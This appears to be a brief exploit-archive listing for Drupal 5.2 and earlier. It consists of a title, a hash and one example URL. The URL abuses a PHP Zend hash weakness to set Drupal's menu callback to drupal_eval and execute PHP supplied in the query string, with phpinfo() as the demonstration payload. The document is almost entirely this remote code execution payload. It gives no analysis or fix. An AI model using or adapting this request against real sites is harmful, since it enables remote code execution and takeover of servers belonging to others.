Drupal versions 5.2 and below PHP Zend Hash vulnerability exploitation vector.
e0ceb8a054f3c90526912645c8617d496ab9245d1bba15d01bd4e70137ae76dc
Drupal <= 5.2 PHP Zend Hash Vulnerability Exploitation Vector
Example: http://www.example.com/drupal/?_menu[callbacks][1][callback]=drupal_eval&_menu[items][][type]=-1&-312030023=1&q=1/<?phpinfo();